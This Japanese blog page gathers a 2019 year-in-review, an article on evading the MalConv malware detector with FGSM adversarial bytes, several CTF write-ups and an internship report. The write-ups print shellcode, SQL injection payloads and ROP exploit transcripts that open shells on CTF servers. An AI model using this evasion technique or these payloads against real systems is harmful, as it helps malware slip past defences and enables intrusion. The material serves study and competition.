yyy

CTFつよくなりたい

2019年を振り返る

去年のはこれ

ywkw1717.hatenablog.com

雑だけど今年も。

 

帰省中の電車の中で書いてる。

1月

f:id:ywkw1717:20191231180648j:image

初日の出

年明けは会津で迎えて、初日の出が見たくなったから車で猪苗代湖まで一人で行ってきた時に撮った写真。1時間くらいはいろんな写真撮ってて、寒かったけどいいものが撮れて嬉しかった。

 

2月
f:id:ywkw1717:20191231180716j:image

絵ろうそく祭り

去年も行った絵ろうそく祭り。めちゃ綺麗なので行くべき。

 

3月

f:id:ywkw1717:20191231180933j:image

pixivインターンシップ

最高のインターンシップを経験している様子。

 

詳細は以下。

 

ywkw1717.hatenablog.com

 

4月

f:id:ywkw1717:20191231181508j:image

急性扁桃

急性扁桃炎になった。薬処方されすぎやろってくらい処方されてびびった。喉をものが通る度に激痛だった記憶。

 

5月

f:id:ywkw1717:20191231180906j:image

車をこすった。思ったほど大ごとにならなくて助かった。


f:id:ywkw1717:20191231180915j:image

この頃は快活に出入りすることが多くて、アオハライドを読み漁ってた。アオハライドは青春を感じられるのでよい。

 

6月

f:id:ywkw1717:20191231181027j:image

自損事故

事故を起こした。那須ハイに行った帰りに、酔い止めを飲んでた副作用だと思うけど睡魔に襲われて、山道ばかりだったけどとりあえずどこかで停車するべきだったと後悔してる。自分の怪我は別に大したことなかったけど、同乗者に怪我をさせてしまったり車も廃車になり、とてつもない罪悪感で一週間ぐらいはずっと精神が終わってた。眠気を感じたらすぐに停車しましょう。

 

7月

f:id:ywkw1717:20191231181105j:image

Hardening Ⅱ SU

Hardeningに参加した。初の北海道上陸でもあった。自分は脆弱性の修正やサーバー周りの細かい作業を担当。売り上げだけ見れば1位だった気がするけど、連合という制度があったりその他細かい評価指標があって、何だかんだなにも賞がもらえず悔しかった。

 

8月
f:id:ywkw1717:20191231181109j:image

特になにもしてない。研究を少し進めてみたり近所の神社やお祭りの写真撮ったり。

 

9月
f:id:ywkw1717:20191231181119j:image

入院生活

3週間入院した。自宅の階段でやらかしをしてしまい、腰の骨を圧迫骨折してしまった。その場にいた友人2人には救急車呼んでもらったり荷物持ってきてもらったり、めちゃくちゃ助けてもらって本当に感謝しかない。初めて救急車乗ったし初めて入院もした。腰への影響があるため、ベッドを起こしていい角度の上限が決まってたり尿瓶を使わなきゃいけなかったりして、ストレスフルな環境だったので精神的にも厳しかった。ちなみに圧迫されて変形した骨が元に戻ることはないらしく、身長が縮んだ疑惑がある。もう若くないので慎重な生活を心がけます。

 

10月

f:id:ywkw1717:20191231181055j:image

内定式&SECCON

内定式、SECCONなどがあった。

 

SECCONはまた今年も順位が上がったものの、自分は1問しか解けてなくて完全に戦犯をしたので来年こそは決勝行けるように精進します…

 

11月

f:id:ywkw1717:20191231181133j:image

研究

研究をしていた以外の記憶がないです。

 

12月
f:id:ywkw1717:20191231181114j:image

ライブ

the peggiesのライブ2度目。激アツ優勝ライブだった。

 

f:id:ywkw1717:20191231181100j:image

東京イルミ

東京、イルミネーションに溢れていてどこにいても目にするから希少価値ないやんとか思ってたけど綺麗なものは綺麗なので撮ってた。


f:id:ywkw1717:20191231181125j:image

SSD換装

SSDを1TBに換装した。ストレージ不足地獄からの脱却。

 

おわりに

今年を漢字一文字で表すならとか人々はよくやってるけど、自分の場合完全に「災」で、年明けに厄除けをしたのにも関わらず災難ばかりだった。効果がないのか、なんやかんや死に至らずに生きてるから効果があるのか。

 

来年は健康的な生活を送りたいです。

FGSMを使ってマルウェア検知器(MalConv)を回避する

これはAizu Advent Calendar 2019の11日目の記事です。(遅れて申し訳ありません…🙇‍♂️🙇‍♂️🙇‍♂️)

adventar.org

前の人は id:xatu0202 さんで,

xatu.hatenablog.com

次は id:shota-df-412 さんです.

shota-df-412.hatenablog.com

はじめに

昨今、観測されるマルウェアの数は膨大になり、シグネチャベースのマルウェア検知・分類は難しくなっています。そのため、機械学習や深層学習を使用してマルウェア検知・分類を行う研究が盛んに行われていますが、MalConvというディープラーニングモデルをご存知でしょうか。

この記事では、FGSMという手法を用いてMalConvというCNNベースのマルウェア検知器を回避してみます。

※Adversarial Examplesの検証を目的としており、不正な攻撃を助長するものではありません。

MalConvとは

MalConvは、2017年にNVIDIAの研究チームらにより発表された Malware Detection by Eating a Whole EXEで提唱されています。それまで、ニューラルネットワークマルウェア検知器に適用している研究はほとんどなく、実行ファイル全体を入力として受け取ってマルウェア検知している研究は存在していませんでした。また、マルウェア検知に使用する特徴量の抽出には多くのドメイン知識が必要でしたが、MalConvはそのようなドメイン知識の使用の最小化を目的とし、実行ファイルのraw byte sequenceのみを入力として受け取るようなCNNベースのマルウェア検知器であり、高い精度でマルウェアを検知できています。

それまで手作業で行ってきた特徴抽出の必要がなくなり、実行ファイルのみを入力として与えることで、モデル自身が特徴量を学習してマルウェアを検知することができます。そんな素晴らしい技術ですが、果たして欠点はないのでしょうか?

Adversarial Examplesについて

機械学習のモデルの精度を考慮する際、Adversarial Examplesの存在は欠かせません。

f:id:ywkw1717:20191215184349p:plain
Goodfellow et al (2014)

有名なのはこの画像ですが、パンダと分類されるべき画像に摂動というものを加えることでテナガザルと分類させています。これは非常に重要な問題であり、機械学習のモデルを実世界に適用する際に様々な被害が考えられます。

Adversarial Examplesについては以下が詳しいです。

elix-tech.github.io

PEファイルにおけるAdversarial Examplesを考える

MalConvの論文では、データセットにPEファイルを使用していましたが、PEファイルにおけるAdversarial Examplesは通常のAdversarial Examplesとなにが異なるのでしょうか。

通常は画像全体にノイズがかかるような形で摂動を加えるのですが、PEファイルでも同様の行為をしてしまうと機能性が失われてしまうという問題があります。例えば、実行に必要な多くの情報が含まれているPEヘッダーの不用意な変更は、プログラムをクラッシュさせることに繋がり、実行ファイルとして動作しなくなってしまう恐れがあります。他の領域においても同様で、1ビット書き換わるだけでクラッシュしてしまう危険性が増加するため慎重に扱う必要があります。

ではどのようにしてAdversarial Examplesを作るのかというと、

  1. 新しいセクションを作る
  2. ファイルの末尾に追加する

などの手法が取られています。1ではLIEFというライブラリがよく使われていて、PEに限らずELFやMachOなどのフォーマットをパースしたり変更を加えることが可能です。

github.com

2ですが、これはPEファイルに限った話ではありませんが、PEファイルの末尾にどのようなバイト列を追加しても問題なく動作するため、任意のバイト列を追加する場所としてファイルの末尾が使用されます。

これらの手法を用いて、benignと判定されるような特徴を追加していく、というのがPEファイルにおけるAdversarial Examplesの基本です。

Machine Learning Static Evasion Competitionとは

今年のDEFCON AI Villageで開催されていたコンペであり、MalConvを含めた3つのモデルによる検知を回避する技術を競います。最終的に50個のmaliciousなPEファイルを回避させる必要があります。また、white-box attackを考えるので、ソースコードは与えられます。

以下のブログでは、3つのモデルに対するwrite upが紹介されています。面白いのでおすすめ。

towardsdatascience.com

Fast Gradient Sign Method(FGSM)を使ってMalConvを回避してみる

Fast Gradient Sign Method(FGSM)とはAdversarial Examplesを作る手法の一つであり、重みを固定して入力を変化させながらAdversarial Examplesを求める方法よりも、誤差逆伝播を使って一度勾配を計算するだけなので高速ということらしいです。

これも詳しくは、上で掲載したサイト( はじめてのAdversarial Example )に載っています。

前置きがだいぶ長くなりましたが、FGSMを使ってMalConvを回避(FGSM attack)してみます。MalConvは上記のMachine Learning Static Evasion Competitionで使われていたモデル(EMBER 2018 binariesで学習させたもの)を使用します。(EMBERはEndgameが2018年4月に公開したオープンソースのデータセットです)

Machine Learning Static Evasion Competitionで使用されたコードは以下にあります。

github.com

今回はMalConvによる検知のみを回避するので、他の2つのモデルは扱いません。models.pyをMalConvのみ使うように変更して、結果だけでなくbenignとmaliciousそれぞれのrateも出力するようにしました。

import torch
import torch.nn.functional as F
from MalConv import MalConv
import numpy as np

MALCONV_MODEL_PATH = 'models/malconv/malconv.checkpoint'


class MalConvModel(object):
    def __init__(self, model_path, thresh=0.5, name='malconv'):
        self.model = MalConv(channels=256, window_size=512, embd_size=8).train()
        weights = torch.load(model_path,map_location='cpu')
        self.model.load_state_dict( weights['model_state_dict'])
        self.thresh = thresh
        self.__name__ = name

    def predict(self, bytez):
        _inp = torch.from_numpy( np.frombuffer(bytez,dtype=np.uint8)[np.newaxis,:] )
        with torch.no_grad():
            outputs = F.softmax( self.model(_inp), dim=-1)
            print('benign: {}'.format(outputs[0][0].item()))
            print('malicious: {}'.format(outputs[0][1].item()))

        return outputs.detach().numpy()[0,1] > self.thresh


if __name__ == '__main__':
    import sys
    with open(sys.argv[1],'rb') as infile:
        bytez = infile.read()

    # thresholds are set here
    malconv = MalConvModel(MALCONV_MODEL_PATH, thresh=0.5)

    print(f'{malconv.__name__}: {malconv.predict(bytez)}')

試しにこの学習済みモデルでマルウェアを検知してみます。検体はtheZooにあるTrojanWin32.Duqu.Stuxnetを使用しました。

$ python3 models.py win32.exe
benign: 0.0066443816758692265
malicious: 0.9933556318283081
malconv: True

99%maliciousだと判定されています。これをbenignと判定させることが目的です。

FGSM attackの実装

FGSM attackを実装するにあたって、今年の1月に発表された Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples を参考にしました。

完成したものがこちらです。

github.com

実行してみます。

$ python3 fgsm_attack.py win32.exe
[1]
Benign: 0.0066236 , Malicious: 0.99338
Loss: 1.3036
Reconstruction phase:
100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:08<00:00, 79.76it/s]
sum of perturbation:  84646.0

[2]
Benign: 0.52506 , Malicious: 0.47494
Loss: 0.66841
Reconstruction phase:
100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:07<00:00, 80.97it/s]
sum of perturbation:  84640.0

Evasion rates: 0.52506

win32_AEs.exe  has been created.

(摂動の値の合計値も出力しているのは、この値に変化がない場合は上手く生成できていない可能性があるからです…。epsが低い場合や摂動のサイズを小さい値で固定してテストしてみた時に発生していました。)

作成されたAdversarial ExamplesをMalConvで判定してみます。

$ python3 models.py win32_AEs.exe
benign: 0.9517970681190491
malicious: 0.04820294678211212
malconv: False

見事にbenignだと判定されました。追加された摂動を見てみます。

f:id:ywkw1717:20191216004545p:plain
摂動

ファイルの末尾に追加された一見ランダムに見えるこのバイト列ですが、MalConvではこの数百バイトが原因でmaliciousと判定されるべきファイルがbenignだと判定されてしまいました。

Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples で行われていた方法は単純で、 c + (c − len(x) mod c): (cはconv size、xは入力ファイル) で求まったサイズのランダムバイト列(0~255の範囲)を生成し、それを入力ファイルの末尾に加えたものをMalConvで判定させ、benignである識別率が0.5を上回るまでFGSMを用いて摂動を変更していくだけです。

最後に

Machine Learning Static Evasion Competitionのwrite upを書いていた方は10万バイトの0xA9を追加したり、benignなファイルの文字列を追加したりしていましたが、FGSM attackの場合は1000バイト以下のバイト列を末尾に付与するだけでMalConvによる検知を回避することができました。もちろん、コンペにおいては他の2つのモデルによる検知も同時に回避する必要があるのでこれだけでは不十分だと思いますが。

また、詳しくは言及しませんが、Adversarial Trainingという方法を使うとAdversarial Examplesに対してある程度ロバストになることも知られています。

実際に世の中で使用されているCylance製のアンチウイルスにおいて、このAdversarial Examplesが問題になったこともあるため、見過ごすことのできない課題の一つになっていることは確かです。

japan.zdnet.com

参考

https://devblogs.nvidia.com/malware-detection-neural-networks/

https://github.com/yuxiaorun/MalConv-Adversarial/blob/master/src/model.py

https://arxiv.org/abs/1803.04173

Beginners CTF 2019 Writeup

Seccompare

コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.

$ ltrace ./seccompare hoge
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge")                                                                              = -5
puts("wrong"wrong
)                                                                                                               = 6
+++ exited (status 0) +++

Leakage

is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear_Operation

is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.

gist.github.com

$ python solve.py
WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

shellcoder

binshという文字列を使ってはいけないシェルコードコーディング問題.

        0x00080000:     movabs  rbx, 0x38237f7f3e39327f
        0x0008000A:     movabs  rax, 0x5050505050505050
        0x00080014:     xor     rbx, rax
        0x00080017:     xor     esi, esi
        0x00080019:     push    rsi
        0x0008001A:     push    rbx
        0x0008001B:     push    rsp
        0x0008001C:     pop     rdi
        0x0008001D:     xor     rax, rax
        0x00080020:     mov     al, 0x3b
        0x00080022:     xor     edx, edx
        0x00080024:     syscall syscall

こんな感じでxorでなんとかした.

gist.github.com

$ python exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2).
    Update with: $ pip install -U pwntools
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
Are you shellcoder?
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$ exit

OneLine

一度0x28分readしてその後 call rax するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.

これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.

gist.github.com

$ python exploit.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
You can input text here!
>>
0x7fe15586a140
0x7fe15575a000
\x00\x00Once more again!
>>
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$ exit

Dump

与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.

gist.github.com

その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge をするとフラグが書かれたflag.jpgが取り出せた.

f:id:ywkw1717:20190526211955j:plain

Ramen

SQLiがある. 'or 1=1;# で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; # をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;# でフラグをみた.

f:id:ywkw1717:20190526212315p:plain

Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble

Baby ROP

バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh もバイナリ内にあったのでそれを使った.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20001: Done
[*] Switching to interactive mode
What's your name? $ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls /home
babyrop
$ ls /home/babyrop
babyrop
flag
$ cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
$ exit

Baby ROP 2

同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20005: Done
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
What's your name?
 Welcome to the Pwn World again,
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAI!

0x7f1d378f7250
0x7f1d37800000
What's your name?
[*] Switching to interactive mode
 Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9!
$ cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
$ exit

scramble

入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.

Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.

最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.

gist.github.com

$ python solve.py
WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Dump stdin at succeeded():
'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

DEF CON CTF Qualifier 2019 speedrun-001~003

speedrun-001

$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge

Alas, you had no luck today.

バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL) を呼ぶようにした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
Hello brave new challenger
Any last words?

[*] Switching to interactive mode
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@
$ ls
-
banner_fail
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-001
srv
sys
tmp
usr
var
wrapper
$ cat /flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
[*] Got EOF while reading in interactive

speedrun-002

$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.

これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

leak_addr: 0x7f4b03669140
libc_base: 0x7f4b03559000
system_addr: 0x7f4b035a8440

We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

[*] Switching to interactive mode
$ cat /flag
OOO{I_didn't know p1zzA places__mAde pwners.}
$ exit
[*] Got EOF while reading in interactive

speedrun-003

$ ./speedrun-003
Think you can drift?
Send me your drift
hoge
You're not ready.

シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.

48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f6e69622f
73 68 00
31 f6                   xor    esi,esi
56                      push   rsi
53                      push   rbx
54                      push   rsp
5f                      pop    rdi
b0 3b                   mov    al,0x3b
31 d2                   xor    edx,edx
0f 05                   syscall

シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp までにして,残りの部分は xor edx, edx を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b を2つに増やし,前半の 0x3b の部分を変化させながら,最終的に mov al, 0x5a にした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat /flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$ exit
[*] Got EOF while reading in interactive

ASIS CTF Quals 2019 Key maker

問題文

The Keymaker: Only the One can open the door. And only during that window can that door be opened.

Niobe: How do you know all this?

The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.

PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.

$ file key_maker.exe
key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: hoge
Sorry, given licence is invalid!

crackmeだとわかる.適切なライセンスキーを入力する必要がある.

入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.

f:id:ywkw1717:20190422145756p:plain
main

50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.

f:id:ywkw1717:20190422183829p:plain
FUN_00401637

FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _ になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が { で,最後の文字が } かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........} みたいなフラグの形式になっていそうだとわかる.

その後,3つのWhileループで _ を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24) )で配列に代入している.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.

f:id:ywkw1717:20190422145828p:plain
FUN_00401530

肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.

f:id:ywkw1717:20190422145930p:plain
比較されるやつ

以上の解析結果から,z3を使用して解く方針で進める.

完成したスクリプトは以下.

gist.github.com

実行結果.

$ python key_maker.py
[u_15 = 0,
 u_14 = 3,
 u_13 = 14,
 u_12 = 21,
 u_11 = 12,
 u_10 = 4,
 u_9 = 27,
 u_8 = 24,
 u_7 = 27,
 u_6 = 3,
 u_5 = 20,
 u_4 = 4,
 u_3 = 22,
 u_2 = 34,
 u_1 = 3,
 u_0 = 20,
 t_15 = 0,
 t_14 = 24,
 t_13 = 0,
 t_12 = 24,
 t_11 = 14,
 t_10 = 23,
 t_9 = 13,
 t_8 = 23,
 t_7 = 10,
 t_6 = 34,
 t_5 = 7,
 t_4 = 18,
 t_3 = 23,
 t_2 = 1,
 t_1 = 27,
 t_0 = 29,
 s_15 = 33,
 s_14 = 33,
 s_13 = 33,
 s_12 = 1,
 s_11 = 27,
 s_10 = 7,
 s_9 = 4,
 s_8 = 22,
 s_7 = 3,
 s_6 = 17,
 s_5 = 7,
 s_4 = 0,
 s_3 = 28,
 s_2 = 18,
 s_1 = 28,
 s_0 = 10]

flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}

この問題のCategory, Reverse Baby warm-up となっていてびびる.

pixiv SPRING BOOTCAMP 2019のセキュリティコースに参加して最高の体験をしてきた

はじめに

念願のpixivインターンに行ってきました.

pixivは高校生の時ぐらいから知っていて,実際に絵を投稿したのは大学に入ってからですが,お絵描きを趣味とする自分にとってはとても身近な存在でした.インターンシップに参加している学生の様子をSNSで見ているととても楽しそうで,いつか自分も参加してみたいと思うようになりました.

また,バグバウンティを行っているということも魅力的でした.日本でバグバウンティをやっている企業はまだまだ少ないですし,絵を投稿する場として利用しているサービスが,実はセキュリティにも力を入れていることを知った時はpixivに対してより一層興味を抱きました.

実は,去年の夏インターンシップでも応募をしていました.その時はセキュリティコースはなく,Railsを多少やっていた自分はRailsで作られているBOOTHのコースで応募したのですが,書類選考後の面談でお祈りをいただいてしまい,半ば諦めていました.ですが今回春インターンがあるということで最後のチャンスだと思い,今回は自分が将来仕事にしたいと思っているセキュリティのコースで応募しました.

参加するまで

面談ではコードテストがあるというのはメールで聞いていて,夏に受けた時はなんの問題もなく書けたので今回もいけるだろうと思っていたら,コードテストの前にWebセキュリティに関する知識を問われて少しドキッとしました.

コードテストは頭が真っ白になりかけたりしたのですが,面接官の方達が優しかったのでなんとかなりました.その後,合格通知が来た時は思わずにやけそうになりました.セキュリティコースは今回初めて作られたものらしく,第1号ということでさらに嬉しくなりました.

業務開始まで

前日になかなか寝付けなかったのですがなんとか起きれて,無事オフィスへ到着しました.エレベーターを降りたら早速絵馬があって興奮していたのですが,オフィスへ到着するもセキュリティカードがないため入れず,うろうろと不審者化していました.

f:id:ywkw1717:20190314154023j:plain
絵馬1

f:id:ywkw1717:20190314154046j:plain
絵馬2

f:id:ywkw1717:20190314154143j:plain
絵馬3

その後,他のインターン生の方とお互いに軽く自己紹介をしてからNDAを結んだり人事のkamikoさんのお話を聞いたり,軽くオフィスを見学してから毎週水曜日に開催されている全社会議に参加させていただきました.ここでは各プロジェクトからの報告があった後,27日から参加の4人のインターン生は自己紹介をしました.全社員の前での自己紹介,緊張しかない.

セキュリティカードと一緒に名札も貰いました.

